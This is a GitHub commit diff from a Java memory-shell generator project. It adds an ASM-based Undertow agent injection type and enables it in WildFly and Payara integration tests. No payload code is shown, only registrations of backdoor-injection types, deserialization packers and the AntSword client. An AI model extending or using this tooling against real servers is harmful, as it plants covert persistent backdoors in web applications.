Skip to content

Commit 255bfbd

Browse files
committed
feat: support undertow agent with asm (#51)
1 parent 415eaa7 commit 255bfbd

File tree

13 files changed

+353
-14
lines changed

13 files changed

+353
-14
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -232,6 +232,7 @@ public enum Server {
232232
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
233233
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
234234
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
235+
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
235236
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
236237
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
237238
.build());

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,13 +19,15 @@ public class ShellType {
1919
public static final String NETTY_HANDLER = "NettyHandler";
2020

2121
public static final String AGENT = "Agent";
22+
public static final String ASM = "ASM";
2223

2324
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
24-
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChainASM";
25+
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
2526
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
26-
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValveASM";
27+
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
2728
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
2829
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
30+
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
2931
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
3032
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
3133

generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
package com.reajason.javaweb.memshell.server;
22

3-
import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
4-
import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
5-
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInitialHandlerAgentInjector;
6-
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
3+
import com.reajason.javaweb.memshell.injector.undertow.*;
74
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
85
import net.bytebuddy.asm.Advice;
96
import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -48,6 +45,7 @@ public InjectorMapping getShellInjectorMapping() {
4845
.addInjector(LISTENER, UndertowListenerInjector.class)
4946
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
5047
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
48+
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
5149
.build();
5250
}
5351
}

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ static Stream<Arguments> casesProvider() {
6060
List<String> supportedShellTypes = List.of(
6161
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
6262
ShellType.AGENT_FILTER_CHAIN,
63-
// ShellType.AGENT_FILTER_CHAIN_ASM,
63+
// ShellType.AGENT_FILTER_CHAIN_ASM, 内置了 asm 但是版本太低
6464
ShellType.CATALINA_AGENT_CONTEXT_VALVE
6565
// ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
6666
);

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Payara5201ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Payara;
54-
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
56+
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
57+
// ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM // 内置了 ASM,但是版本较低,是 7 版本不兼容
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Payara520225ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Payara;
54-
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
56+
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
57+
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Payara620222ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Payara;
54-
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
56+
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE,
57+
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Wildfly18ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Undertow;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
57+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Wildfly23ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Undertow;
54-
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
56+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
57+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
5761
}

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ public class Wildfly30ContainerTest {
5151

5252
static Stream<Arguments> casesProvider() {
5353
Server server = Server.Undertow;
54-
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER);
54+
List<String> supportedShellTypes = List.of(
55+
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
56+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
57+
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
58+
);
5559
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
5660
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
5761
null, List.of(ShellTool.AntSword) // AntSword not support jakarta

0 commit comments

Comments
 (0)